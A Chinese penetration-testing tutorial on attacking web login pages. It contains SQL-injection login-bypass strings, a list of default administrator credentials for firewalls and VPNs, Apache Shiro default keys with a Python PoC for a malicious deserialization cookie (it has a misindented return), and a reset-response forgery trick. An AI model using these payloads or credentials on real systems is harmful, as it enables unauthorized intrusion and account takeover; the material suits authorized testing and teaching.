标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2809]   作者: hudie 发表于: [2021-01-08]

本文共 [353] 位读者顶过

0x00 前言

我们在进行渗透测试的时候,常常会遇到许多网站站点,而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中,客户常常丢给你一个登陆网站页面,没有测试账号,让你自己进行渗透测试,一开始经验不足的话,可能会无从下手。今天就来简单说一下如何在只有一个登陆页面的情况下,来进行渗透测试。

0x01 开始

在条件允许的情况下,我们可以拿在渗透测试的开始之前拿出我们的扫描器来进行扫描,目前我们最常用的就是AWVS和Nessus,除此之外,我们还可以使用一些别的自动化测试工具,例如Nikto扫描器,Appscan,W3af,以及最近长亭科技的Xray扫描器,都可以试试。尤其是Xray扫描器,据说有许多小伙伴靠它挖到了许多漏洞。

以下是这些工具的一些使用方法,不进行赘述[出自:jiwo.org]
    Nikto https://zhuanlan.zhihu.com/p/70225775
    Xray  https://chaitin.github.io/xray/#/
    W3af  https://www.freebuf.com/column/145984.html

    Appscan https://zhuanlan.zhihu.com/p/28729371

0x02 SQL注入

如果我们能够直接绕过登录,来直接访问系统内部资源,那自然是最好不过的了。万能密码就是其中一最好用的一种,虽然存在的可能性不大,但是偶尔也是存在的,稍微尝试一下也不会浪费太多时间。
例如'or 1=1 –
   "or "a"="a

例如这样,就能直接访问后台



登录口SQL注入
有的系统在登录口就存在SQL注入,目前我遇到过比较多的是Oracle以及MySQL的登录口注入,我们可以在登录处先抓一个包,然后根据抓包信息来构造Payload。值得一提的是,有时候我们需要在Burp里修改一下发包格式(change body encoding),才能成功注入。

在这给个例子:
正常登录报错


加一个引号

修改payload,以此返回数据包不同来判断存在SQL注入。


并且,这类的SQL注入并不罕见,在许多网站中都可以进行尝试,很有可能会存在此漏洞

0x02 明文传输/用户名可枚举/爆破弱口令

明文传输
可能是我们做渗透测试中,最常见的一种漏洞,实际上它并不能算得上是一种漏洞,仅仅只能说是一种不足之处而已,明文传输在网站上随处可见,除了银行网站,很有可能每一个密码都是经过特殊加密然后再进行传输的。

用户名可枚举
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破。防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错。



爆破弱口令
弱口令可以说是渗透测试中,最最常见,也是危害“最大”的一种漏洞,因为毫无技术性,毫无新意,但是却充满了“破坏性”,尤其是在内网环境中,弱口令更是无处不在。Web页面最常用的爆破工具为Burp,我们通常使用Nmap扫描也可能扫出其他端口存在,例如3389,SSH等。

传送门万能密码及字典:

链接:https://pan.baidu.com/s/1YP3qNmFoMcsRcz9Yr6Q1tQ 提取码:ksin
弱口令爆破工具推荐,详情可看以下,不在赘述:
Hydra:


https://yq.aliyun.com/articles/608406/

御剑RDP爆破:

https://github.com/foryujian/yujianrdpcrack

Bruter:


https://www.uedbox.com/post/8478/

此外,我们还可以根据网站域名,以及收集的一些信息来进行定制化爆破,例如我在一次内网渗透测试中,发现了管理员的名字缩写为awr,然后我就生成了一堆密码,最后成功登陆账号密码为awr112233。

定制化生成字典:

http://tools.mayter.cn/

字典:

 https://github.com/rootphantomer/Blasting_dictionary

还有很多字典,可以在网上多收集一些,有时候你离Getshell,仅仅只差一个弱口令。

此外,有时候我们还可能遇到存在默认密码的系统,在这给出一些网上公开的默认账户密码,网上找到的:

天融信防火墙,不需要证书 登录地址:https://192.168.1.254 用户名:superman 密码:talent 技术支持热线:8008105119
天融信防火墙,不需要证书 登录地址:https://192.168.1.254:8080 用户名:superman 密码:talent!23 遇到设备需要把旧设备配置备份下来,再倒入新设备基于console口登陆,用户名,密码跟web界面一致 system config reset 清除配置 save 保存 联想网御防火墙,需要证书(最好用IE浏览器登录)
登录地址:https://10.1.5.254:8889 用户名:admin 密码:leadsec@7766、administrator、bane@7766 技术支持热线:4008107766 010-56632666
深信服防火墙(注安全设备管理地址不是唯一的) https://10.251.251.251
https://10.254.254.254 用户名:admin 密码:admin 技术支持热线:4006306430
启明星辰 https://10.1.5.254:8889 用户名:admin 密码:bane@7766
https://10.50.10.45:8889 用户名:admin 密码:admin@123 电脑端IP:10.50.10.44/255.255.255.0 技术支持热线:4006243900
juniper 登录地址:https://192.168.1.1 用户名:netscreen 密码:netscreen
Cisco 登录地址:https://192.168.0.1 用户名:admin 密码:cisco
Huawei 登录地址:http://192.168.0.1 用户名:admin 密码:Admin@123
H3C 登录地址:http://192.168.0.1 用户名:admin 密码:admin 技术支持热线:4006306430
绿盟IPS https://192.168.1.101 用户名: weboper 密码: weboper 配置重启生效
网神防火墙GE1口 https://10.50.10.45 用户名:admin 密码:firewall 技术支持热线:4006108220
深信服VPN:51111端口 delanrecover
华为VPN:账号:root 密码:mduadmin
华为防火墙:admin Admin@123 eudemon
eudemon Juniper防火墙:netscreen netscreen
迪普 192.168.0.1 默认的用户名和密码(admin/admin_default)
山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone
安恒的明御防火墙 admin/adminadmin
某堡垒机 shterm/shterm
天融信的vpn test/123456



0x03 扫目录

目录扫描

目录扫描也是一个存在惊喜的地方,说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等,像后台登陆的网址看多了,常规的路径像

www.xxx.com/admin/login.aspx(.php) 有些大佬甚至不用御剑什么的工具跑,就能直接猜到。一般碰到下面这种情况,可采用fuzz大法。一层一层fuzz,尝试寻找可利用的信息。
漏洞银行有一期衬衫的视频fuzz讲得很好。他用的工具是wfuzz,感觉不错,感兴趣的可以去看看。在我看来,这是最好用的目录扫描工具: 


https://github.com/maurosoria/dirsearch
 DirSearch已经成为了日常渗透工作中密不可分的工具之一,并且我们可以多级别扫描,在枚举子目录的目录,很多时候可以找到突破口。


除此之外,还有御剑也是比较常用的


https://github.com/52stu/

JS扫描
JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的。JS扫描的话推荐使用JSFind:



https://github.com/Threezh1/JSFinder

同时它也会提取页面中的URL,简单举例

nmap扫描 Nmap的强大功能能让我们第一时间获取网站的端口信息,而这些端口信息中常常可以给予我们非常大的帮助,例如开放了3389端口,或者一些敏感端口的探测,Nmap的使用方法相比不需要我再多说,每个安全工程师都必须要精通的一种工具,以下是我的一些端口小总结,希望可以给与大家一点儿帮助。

在扫描目录与JS这块,要注意多次爆破,遍历访问多级域名的目录与JS。 我就曾在一个学校网站中,使用Nmap对批量网段的探测,获得了一个登陆网站,并且在网站中遍历目录,获得了一个test页面,最后在这个页面的JS文件中,获取到了一个接口,通过这个接口重置了主登录页面的密码。

0x04 框架漏洞

在网上找找此公司产品是否爆出过漏洞。若是开源的框架,还可下载源码进行代码审计寻找漏洞。像java的站,登陆页面是.do或.action的网址。可尝试下 struts2 命令执行漏洞,我一般使用安恒的S2漏洞验证工具

以及某些厂商的服务存在漏洞,例如Apache中间件组件Shiro反序列化漏洞,这里简单说一下:需要一个ysoserial.jar  https://github.com/frohoff/ysoserial 以及默认秘钥 4AvVhmFLUs0KTA3Kprsdag== 2AvVhdsgUs0FSA3SDFAdag== 2AvVhdDFCVdfdfDFAdag== 3AvVhmFLUs0KTA3Kprsdag== kPH+bIxk5D2deZiIxcaaaA wGiHplamyXlVB11UXWol8g== 6ZmI6I2j5Y+R5aSn5ZOlAA== AsfawfsdfaAasdWWW== Z3VucwAAAAAAAAAAAAAAAA== 6ZmI6I2j5Y+R5aSn5ZOlAA== ZUdsaGJuSmxibVI2ZHc9PQ== 1QWLxg+NYmxraMoxAXu/Iw==

POC

from Crypto.Cipher import AES
from Crypto import Random
from base64 import b64encode
from base64 import b64decode

BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

def encrypt(key, text):
    IV = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, IV=IV)
    data = b64encode(IV + cipher.encrypt(pad(text)))
return data

key= b64decode('2AvVhdsgUs0FSA3SDFAdag==')
print encrypt(key, open('payload.dat','rb').read())


使用方法:

1:java -jar ysoserial.jar URLDNS "你的ceye.io或者burp的collaborator client功能中">payload.dat

2:运行python脚本,生成cookie

3:将cookie复制到burp发包,此时DNSlog就会记录,我们可以再次构造进行命令执行,在这不进行深入。

致远A8-getshell:

https://www.cnblogs.com/dgjnszf/p/11104594.html

Thinkphp:

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Struts2:

https://github.com/HatBoy/Struts2-Scan
weblogic:
https://github.com/rabbitmask/WeblogicScan

以及各大Java反序列化漏洞等等,这里的漏洞都说不完了。

0x05 逻辑漏洞

寻找逻辑漏洞,例如忘记密码,任意用户注册

任意重置密码
例如

此时客户端会发一个验证码包,我们这是随意输入验证码,发包,返回包。
返回包错误的回显为{"status":0}
将返回包的东西换成{"status":1}
即可重置密码

任意用户注册

同样,这里的验证码如果为四位数的话,有时候也可能存在可爆破,可进行任意用户重置密码

0x9 总结

简单的来说,遇到一个登陆站点,我们需要做的时候有
1、条件允许的情况下开启漏洞扫描
2、敏感信息的探测,例如端口,目录,JS文件
3、爆破弱口令
4、抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试
5、寻找框架漏洞









评论

暂无
发表评论
 返回顶部 
热度(353)
 关注微信